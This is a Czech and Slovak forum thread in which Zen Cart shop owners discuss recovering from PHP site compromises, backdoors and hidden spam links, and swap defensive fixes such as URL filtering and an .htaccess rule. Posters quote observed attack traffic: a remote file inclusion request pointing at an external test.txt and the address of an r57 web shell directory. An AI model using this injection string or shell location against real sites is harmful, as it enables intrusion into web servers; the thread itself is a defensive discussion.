Tak jsem to dnes v noci taky čistil - divný kód byl snad ve všech php souborech + scripty spouštějící php soubory v images - vše jsem promazal , změnil hesla , zákazal ukládání hesel v prohlížečích - doufám že to pomůže , přesto to muselo někde zůstat - když si zobrazím zdrojový kód úvodní stránky tak tam je v nezobrazované části asi 50 odkazů na nějaký forex v různých mutacích . Neví někdo zda se dokážou z infikovaných souborů zpátky nakazit i ty vyčištěné ?

Ahoj, jakmile jednou do stránek měli přístup, tak si mohli udělat někde zadní vrátka ve stylu funkce include pro PHP nebo jiný skript.(iframe) a pak se do stránky dostanou znovu ikdyž změníš hesla a vyčistíš většinu.

Jediná ochrana je přeinstalovat počítač, změnit hesla na ftp i do databáze, celý web nainstalovat znovu načisto. Navíc něco může být v databázi ve které se to těžko hledá.

Nicméně je otázka jestli si zadní vrátka dělají, když mají mraky jiných cest.

Já jsem osobně jen promazal to co jsem viděl (našel) a změnil hesla na ftp a přeinstaloval PC a zatím klid, což neznamená, že se mě to tam nedostane znovu.

pokud si vytvori nekde skulinku na zadni vratka pres ktere je mozno dostat se zpet tak vas neochrani nic. jen to co pise Kozoroh "udělat vše na novo". další věc je zda server je nastaven tak aby se v rámci serveru nedalo projít na jinou stranu. zjistilo se totiž že u některých serveru a nastavení je možné projít z jednoho na druhý a tím napadnout cokoliv v ramci celeho serveru (není oficialně potvrzeno).

a jaký je výsledek? napadne se web s nejmenší ochranou a pak se to šíří jak lavina po celém serveru.

Tak jsem opět narazil na něco - jen zatím nevím co kde hledat a jestli je to opravdu další utok - ale vypada to ze jo - víc na obrázku - nemám s tímhle moc zkušeností, takže pokud je z toho někdo moudrejsi - prosím o radu a názor. Ted jsu stahovat shop na disk a kontrolovat.

edit - tak je to tak - pri zadani tehle adresy :
XXXX:// 201.134.249.164/intranet/xpl/cmd/r57 ( místo toho XXXX - je http , ale radeji to nezkousejte - nod me to prerusil )

takze ted jen nevim jestli se pokousel o utok a nebo uz je vevnitr ?

Připojit soubor:

---

  hack.JPG (0.00 KB)

mne sa predvcerom zasa snazil niekto napchat do url toto:

www .abruzzobooking.it/mambots/test.txt

sa tie utoky nejako mnozia...

jo a tiez

index.php?_REQUEST=&_REQUEST[option]=com_glossary&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.abruzzobooking.it/mambots/test.txt??

no dival jsem se a nejsou to zadni amateri,

XXXX://201.134.249.164/intranet/xpl/cmd/
XXXXhttp://201.134.249.164/intranet/xpl/

maji jich tam vic - chtelo by jim to hacknout

zatim jsem nic nenasel - bohuzel zatim nevim co vubec hledat a jestli pronikly.

domnívám se že tohle by mělo řešit viz http://www.zencart.cz/modules/newbb/viewtopic.php?post_id=33924#forumpost33924

část o application_top.php

je tam mj odchytávání požadavku GET s dalším "http" v URL

Můžete si dopsat i hledání ".txt" v url a posilat 404 nebo 406

Citát:

Našel jsem dva soubory application_top.php


patří to do /www/includes/application_top.php

nebo do :

/www/admin/includes/application_top.php

nebo do obou ????????

určitě do produkčního adresáře.
Ten fragment s voláním http můžete zkusit implementovat i do administračního aplication_top.php, ale není to otestováno.

K dalším funkcím v odkazovaném postu - Pro admina platí jiné proměnné, není navíc veřejně dostupný. Pokud ale máte administraci standardně v adresáři "admin", mohou být na něj mířeny útoky, ten doporučuje oficiální podpora ZC přejmenovat (samozřejmostí je úprava adres v konfiguračním souboru admina). Více k bezpečnosti (+patch) viz Gardenovo http://www.zencart.cz/modules/newbb/viewtopic.php?topic_id=4742&forum=1&post_id=32430#forumpost32430
nebo oficiální http://www.zen-cart.com/forum/showthread.php?t=130161

Citát:

Mám ohledně tohodle dotaz , když jsem tohle přidal do .htaccess
tak vše fungovalo jak má ( teda pro mě - protože jsem to měl zee své IP, ale po třech dnech bez zakázek jsem se skusil připojit z jiné IP a zjistil že zákazník nemůže vlažit zboží do košíku. Objevovala se chybová hláška o neoprávněném přístupu. ? Nevíte v čem je problém - vám to funguje ????

#RedirectMatch (.*)\.cgi$ http://faked_url_address.php

<Limit POST PUT>
order deny,allow
deny from all
Allow from IP_ADMINA
Allow from IP_ADMINA
Allow from IP_ADMINA
Allow from IP_ADMINA
</Limit>
<Files .htaccess>
order allow,deny
deny from all
</Files>